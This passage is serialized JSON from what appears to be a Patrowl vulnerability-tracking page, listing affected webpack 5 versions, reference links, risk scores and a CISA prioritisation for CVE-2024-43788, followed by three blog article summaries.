*:*","cpe:2.3:a:webpack.js:webpack:5.52.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha2:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha17:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha21:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.27.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.62.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha25:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.3.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.64.4:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.88.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.12.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.20.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.93.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.64.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha19:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.23.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.76.3:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta25:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.13.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta28:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.45.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha6:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.85.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.51.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha31:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.83.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.47.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha18:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta12:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:-:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.42.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.85.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha28:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta4:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.44.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta30:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.24.4:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.5.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.79.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.1.3:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.64.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.11.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta17:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.69.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.77.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.36.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.63.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.31.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.37.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.39.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.47.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.75.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta1:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta2:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.12.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.58.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.53.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta13:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta5:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:rc2:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.5.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.10.3:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha30:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.37.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.87.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.90.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.59.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.18.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.30.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.76.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.43.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.46.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta23:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.1.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta3:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.40.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.38.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.50.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.80.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha16:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta20:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.19.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta0:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.6.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha14:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.24.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:rc4:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.55.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.33.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.52.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.83.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.41.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha29:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.62.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.14.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha5:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.16.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack:webpack:*:*:*:*:*:*:*:*",[293,294],"Webpack.Js Webpack","Webpack Webpack",[296,297,298,299,300,301,302],"https:\u002F\u002Fgithub.com\u002Fwebpack\u002Fwebpack\u002Fsecurity\u002Fadvisories\u002FGHSA-4vvj-4cpr-p986","https:\u002F\u002Fgithub.com\u002Fwebpack\u002Fwebpack\u002Fissues\u002F18718#issuecomment-2326296270","https:\u002F\u002Fgithub.com\u002Fwebpack\u002Fwebpack\u002Fcommit\u002F955e057abc6cc83cbc3fa1e1ef67a49758bf5a61","https:\u002F\u002Fresearch.securitum.com\u002Fxss-in-amp4email-dom-clobbering","https:\u002F\u002Fscnps.co\u002Fpapers\u002Fsp23_domclob.pdf","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2024-43788","https:\u002F\u002Fgithub.com\u002Fwebpack\u002Fwebpack",0.52,0.00959,0.61244,false,{"timestamp":308,"automatable":309,"tech_impact":310,"exploitation":311,"cisa_decision":312,"cisa_remediation_timeline":316},"2024-08-27T18:09:32.950161Z","no","partial","poc",{"vector":313,"decision":314,"priority":315},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T05:37:59.197777\u002F","track_star","medium","60D",[318],{"name":319,"source":320,"tactics":321,"technique_id":323},"Exploit Public-Facing Application","attack_vector",[322],"initial-access","T1190",[],{"count":326,"next":327,"previous":6,"results":328},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[329,337,345],{"id":330,"title":331,"summary":332,"published_at":333,"type":334,"link":335,"image_url":336},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":338,"title":339,"summary":340,"published_at":341,"type":342,"link":343,"image_url":344},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":346,"title":347,"summary":348,"published_at":349,"type":350,"link":351,"image_url":352},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]